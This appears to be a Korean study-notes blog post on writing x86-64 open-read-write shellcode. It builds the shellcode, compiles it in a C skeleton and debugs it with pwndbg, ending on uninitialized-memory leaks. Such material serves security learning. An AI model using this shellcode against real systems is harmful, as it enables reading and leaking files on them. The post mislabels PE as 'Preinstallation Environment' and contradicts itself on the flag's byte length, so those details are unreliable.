Security/System Hacking

System Hacking: Shellcode - 1

arsenic-dev 2025. 1. 23. 19:09

DreamHack의 System Hacking 로드맵을 기반으로 정리한 글입니다.

Exploit Tech: 1. orw Shellcode

해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다. 익스플로잇은 '부당하게 이용하다'라는 뜻이 있는데, 상대 시스템에 침투하여 시스템을 악용하는 해킹과 맥락이 닿는다.

 

셸코드(Shellcode)는 시스템 해킹의 익스플로잇과 관련된 공격 기법 중 하나로, 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, 특별히 '셸'이 접두사로 붙었다. 셸을 획득하는 것은 시스템 해킹의 관점에서 매우 중요하다.

 

만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다. 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다. 

 

셸 코드는 어셈블리어로 구성되므로 공격을 수행할  대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다. 아키텍처별로 자주 사용되는 셸코드를 모아서 공유하는 사이트도 있다. 그러나 공유되는 셸코드는 범용적으로 작성된 것이기 때문에, 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못한다. 따라서 최적의 셸코드는 일반적으로 직접 작성해야 하며, 상황에 따라 반드시 그래야만 할 수도 있다. 

 

※ orw: 파일 읽고 쓰기(open-read-write) / execve: 셸 획득

orw 셸코드 작성

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.

char buf[0x30];

int fd = open("/tmp/flag", O_RDONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

▶ 구현하려는 셸코드의 동작 C언어 형식의 의사코드로 표현

 

※ 의사코드(슈도코드, pseudocode): 알고리즘 동작을 설명하기 위해 C 문법과 비슷하게 표현한 비공식 코드로, 실제 코드 X

 

orw 셸코드를 작성하기 위해 알아야 하는 syscall은 아래 표와 같다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

※ syscall: 사용자 프로그램이 운영체제 커널의 기능을 사용할 때 호출하는 인터페이스이다.

 

※ rax: 시스템 호출 번호로, 어떤 syscall을 호출할지 지정 / arg: argument, 인자  / mode: 파일 권한 설정으로, 파일을 생성하는 상황에서만 사용되며, 읽기나 쓰기와는 관계 X

 

의사코드의 각 줄을 어셈블리로 구현

1. int fd = open("/tmp/flag", O_RDONLY, NULL);

  • /tmp/flag라는 파일 경로를 메모리에 올린다.
  • rdi(데이터 옮길 때 목적지 가리키는 포인터) 레지스터가 경로를 가리키도록 설정한다.
  • O_RDONLY(= 0)를 rsi에 설정한다.
  • rax(함수의 반환 값)에 open syscall 번호 0x02를 설정한다.
  • syscall을 호출한다.
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
open 0x02 const char *filename int flags umode_t mode

 

"/tmp/flag"라는 문자열을 메모리에 위치시키기 위해 스택에 0x67616c662f706d742f(/tmp/flag 의 리틀 엔디안 형태)를 push하여 위치시키도록 만들어야 한다. 하지만 스택에는 8바이트 단위로만 값을 push할 수 있으므로 0x67을 우선 push한 후, 0x616c662f706d742f를 push한다. 그리고 rdi가 이를 가리키도록 rsp(사용중인 스택의 위치를 가리키는 포인터)를 rdi로 옮긴다.

 

이때 O_RDONLY는 0이므로, rsi(데이터를 옮길 때 원본을 가리키는 포인터)는 0으로 설정한다.

 

O_RDONLY = 0, Open read-only / O_WRONLY = 1, Open write-only / O_RDWR = 2, Open read/write

 

파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정한다.

 

마지막으로, rax를 open의 syscall 값인 2로 설정한다.

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

▶ 구현

 

※ 2번째 줄에서 push가 아닌 mov를 사용하는 이유: 큰 데이터의 경우, rax에 데이터를 로드하고 push rax로 스택에 넣는 방법이 자주 사용된다. (데이터 재활용할 때 유리) 이때, rax 레지스터를 사용하는 이유는 rax가 기본적으로 가장 자유로운 범용 레지스터로 간주되기 때문이다.

  • push: 값을 스택에 추가하는 명령어, 스택 포인터 rsp를 줄인 후 값을 스택에 저장
  • mov: 값을 단순히 레지스터나 메모리 주소로 이동시키는 명령어, 스택에 영향 X

2. read(fd, buf, 0x30);

  • rdi에 fd(파일 디스크립터) 값을 넣는다.
  • 데이터를 저장할 buf(버퍼) 메모리 주소를 rsi에 설정한다.
  • 0x30(파일로부터 읽을 바이트 수)를 rdx에 설정한다.
  • rax에 read syscall 번호 0x00을 설정한다.
  • syscall을 호출한다.

※ 파일 디스크립터: 운영체제에서 열려 있는 파일을 식별할 때 사용하는 고유 번호 / 버퍼: 데이터를 임시로 저장하는 메모리 영역

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count

 

syscall의 반환 값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

 

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.

 

rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.

 

read 시스템콜을 호출하기 위해 rax를 0으로 설정한다.

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

▶ 구현

 

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 표준 입력(Standard Input, STDIN), 1번은 표준 출력(Standard Output, STDOUT), 2번은 표준 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해 준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 저달하고, 출력을 터미널로 받아볼 수 있는 것이다.

 

프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해 준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.

 

3. write(1, buf, 0x30);

  • rdi에 1(일반 출력) 값을 넣는다.
  • rax에 write syscall 번호 0x01을 설정한다.
  • syscall을 호출한다.
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
write 0x01 unsigned int fd const char *buf size_t count

 

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.

 

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

 

write 시스템콜을 호출하기 위해 rax를 1로 설정한다.

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

▶ 구현

orw 셸코드 컴파일 및 실행

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. 윈도우의 PE(Preinstallation Environment)), 리눅스의 ELF가 대표적인 예이다. ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.

 

위에서 작성한 셸코드는 아스키(인간이 읽을 수 있는 텍스트 형식)로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행될 수 없다. 이를 해결하는 방법에는 gcc(GNU Compiler Collection) 컴파일을 통해 이를 ELF 형식으로 변형하는 방법이 있다.

 

컴파일

어셈블리 코드를 컴파일하는 방법에는 실행할 수 있는 스켈레톤 코드(뼈대 코)를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법이 있다. 스켈레톤 코드는 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 말한다. 이 스켈레톤 코드에 앞에서 작성한 셸코드를 채운다.

__asm__(
    ".global run_sh\n" // run_sh 함수가 전역적으로 접근할 수 있도록 설정하는 어셈블리 지시어로, 이 함수를 다른 파일에서 참조할 수 있게 해준다.
    "run_sh:\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

▶ 스켈레톤 코드 예제

  • 프로그램이 실행되면 main() 함수에서 run_sh()가 호출
  • run_sh() 내의 어셈블리 코드 실행

__asm__는 C언어에서 어셈블리 코드를 삽입할 때 사용하는 구문으로, C 코드 내에 직접 어셈블리 코드를 포함할 수 있게 해준다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

▶ 앞서 작성한 셸코드로 채운 스켈레톤 코드

 

※'\n'은 C 문자열 내에서 줄 바꿈을 하기 위한 문자로, 실행에 영향을 미치지 않으며, 단지 코드의 가독성을 위해 사용된다.

 

실행

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

▶ /tmp/flag 파일 생성

$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}

▶ orw.c를 컴파일하고, 실행

 

셸코드가 성공적으로 실행되어 /tmp/flag 파일을 생성하며 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해 낼 수 있을 것이다.

 

이때, /tmp/flag의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우가 있다. 때문에 디버깅을 통해 셸코드의 동작을 살펴보고, 알 수 없는 값들이 출력되는 원인을 알아봐야 한다.

orw 셸코드 디버깅

gdb를 통해 작성한 셸코드의 동작을 자세히 분석할 수 있다.

$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129

▶ orw를 gdb로 열고, run_sh()에 브레이크 포인트를 설정

  • gdb orw: 디버깅할 실행 파일로 orw를 지정하는 명령어
  • -q 옵션: gdb 시작 시 불필요한 초기 메시지를 생략(quiet mode)
pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP  0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x555555555129 <run_sh>       push   0x67
   0x55555555512b <run_sh+2>     movabs rax, 0x616c662f706d742f
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
   0x555555555146 <run_sh+29>    syscall
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
...

▶ run 명령어로 run_sh()의 시작 부분까지 코드 실행

 

코드를 실행시키면 작성한 셸코드에 rip가 위치한 것을 확인할 수 있고, 이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었는지 확인해 볼 수 있다.

 

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.

Breakpoint 2, 0x0000555555555146 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x2
 RBX  0x0
 RCX  0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX  0x0
*RDI  0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI  0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
 ► 0x555555555146 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffe2f8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
...

▶ 첫 번째 syscall이 위치한 run_sh+29 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자 확인

 

pwndbg 플러그인은 syscall을 호출할 때, 위 결과의 24~27번 라인과 같이 인자를 해석해서 보여준다. 셸코드를 작성할 때 계획했듯이, open("/tmp/flag", O_RDONLY, NULL);가 실행됨을 확인할 수 있다.

pwndbg> ni
0x0000555555555148 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x3
 RBX  0x0
*RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x0
 RDI  0x7fffffffe2f8 ◂— '/tmp/flag'
 RSI  0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
   0x555555555146 <run_sh+29>    syscall
 ► 0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
...

▶ ni 명령어로 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장됨

 

※ 이때 3은 정수로 표현된 파일 디스크립터로, 0(표준 입력), 1(표준 출력), 2(표준 에러) 다음으로 할당된 번호이다.

 

2. read(fd, buf, 0x30)

pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.

Breakpoint 3, 0x0000555555555160 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x0
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX  0x30
*RDI  0x3
*RSI  0x7fffffffe2c8 ◂— 0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555148     mov    rdi, rax
   0x55555555514b     mov    rsi, rsp
   0x55555555514e     sub    rsi, 0x30
   0x555555555152     mov    rdx, 0x30
   0x555555555159     mov    rax, 0
 ► 0x555555555160     syscall  
        fd: 0x3 (/tmp/flag)
        buf: 0x7fffffffe2c8 ◂— 0x0
        nbytes: 0x30
   0x555555555162     mov    rdi, 1
   0x555555555169     mov    rax, 1
   0x555555555170     syscall
   0x555555555172     xor    rdi, rdi
   0x555555555175     mov    rax, 0x3c
...

▶ 두 번째 syscall이 위치한 run_sh+55 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자 확인

 

새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30 바이트만큼 읽어서 0x7fffffffe2c8에 저장한다.

pwndbg> ni
0x0000555555555162 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x29
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x30
 RDI  0x3
 RSI  0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
 ► 0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
   0x555555555170 <run_sh+71>    syscall
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
   0x55555555517c <run_sh+83>    syscall
...

▶ ni 명령어로 syscall을 실행

 

REGISTERS 부분의 RSI를 통해 파일의 내용이 0x7fffffffe2c8에 저장되었음을 알 수 있다.

pwndbg> x/s 0x7fffffffe2c8
0x7fffffffe2c8: "flag{this_is_open_read_write_shellcode!}\n"

▶ 파일 내용은 x/s 명령어로도 확인 가능

  • x: examine
  • s: string

0x7fffffffe2c8에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있다.

 

3. write(1, buf, 0x30)

pwndbg> c
Continuing.

Breakpoint 4, 0x0000555555555170 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x1
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x30
*RDI  0x1
 RSI  0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
   0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
 ► 0x555555555170 <run_sh+71>    syscall  <SYS_write>
        fd: 0x1 (/dev/pts/11)
        buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
        n: 0x30
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
   0x55555555517c <run_sh+83>    syscall
   0x55555555517e <main>         endbr64
   0x555555555182 <main+4>       push   rbp
...

▶ 읽어낸 데이터를 출력하는 write 시스템콜을 실행하기 직전의 모습

flag{this_is_open_read_write_shellcode!}

▶ ni 명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력

 

※ 이때 48바이트인 이유는 파일의 내용인 "flag{this_is_open_read_write_shellcode!}"가 48바이트이기 때문이다.

 

초기화되지 않은 메모리 영역 사용(Use of Uninitialized Memory)

$ ./orw
flag{this_is_open_read_write_shellcode!}
&��U

▶ /tmp/flag의 데이터 외에 알 수 없는 문자열이 출력

 

이러한 경우는 초기화되지 않은 메모리 영역 사용에 의한 것이다.

 

스택은 다양한 함수들이 공유하는 메모리 자원이다. 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제한다. 그런데 스택에서 해제라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히, rsp와 rbp를 호출 이전 상태로 이동시키는 것을 말한다. 즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 되며, 이를 쓰레기 값(garbage data)이라고 표현하기도 한다.

 

※ 스택 프레임 할당: rsp와 rbp를 호출한 함수의 것으로 이동시키는 것

 

프로세스는 쓰레기 값 때문에 때때로 예상치 못한 동작을 하기도 하며, 해커에게 의도치 않게 중요한 정보를 노출하기도 한다. 따라서 이런 위험으로부터 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 한다.

pwndbg> c
Continuing.

Breakpoint 3, 0x0000555555555160 in run_sh ()
...

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x0
 RBX  0x0
*RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX  0x30
*RDI  0x3
*RSI  0x7fffffffe2c8 ◂— 0x0
...

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
 ► 0x555555555160 <run_sh+55>    syscall  <SYS_read>
        fd: 0x3 (/tmp/flag)
        buf: 0x7fffffffe2c8 ◂— 0x0
        nbytes: 0x30
   0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
   0x555555555170 <run_sh+71>    syscall
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
...

▶ 알 수 없는 값이 함께 출력되는 경우, read 시스템콜을 실행한 직후로 돌아가 원인을 분석해 볼 수 있다.

 

아까와 같이 파일을 읽어 스택에 저장했다.

pwndbg> x/6gx 0x7fffffffe2c8
0x7fffffffe2c8:	0x6968747b67616c66	0x65706f5f73695f73
0x7fffffffe2d8:	0x775f646165725f6e	0x6568735f65746972
0x7fffffffe2e8:	0x7d2165646f636c6c	0x000000000000000a

해당 스택의 영역 조회

  • g(giant): 8바이트씩
  • x(hexadecimal): 16진수로 출력 

48바이트 중, 앞의 41바이트만 저장한 파일의 데이터만 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재한다. 알 수 없는 값이 출력되는 경우에는 뒤 7바이트가 널 바이트가 아닌 쓰레기 값이 들어있을 것이다. 쓰레기 값이 나중에 write 시스템콜을 수행할 때, 플래그(파일 내용)와 함께 출력되는 것이다.

 

※ flag{this_is_open_read_write_shellcode!}은 41바이트이다. 그 이유는 알파벳, 숫자, 기호 각각 1바이트씩 총 40자이며, 이에 추가로 개행 문자 '\n'이 추가로 포함되어 있기 때문이다.

 

해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있다. 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 이는 보호 기법들을 무력화하는 핵심 역할을 한다.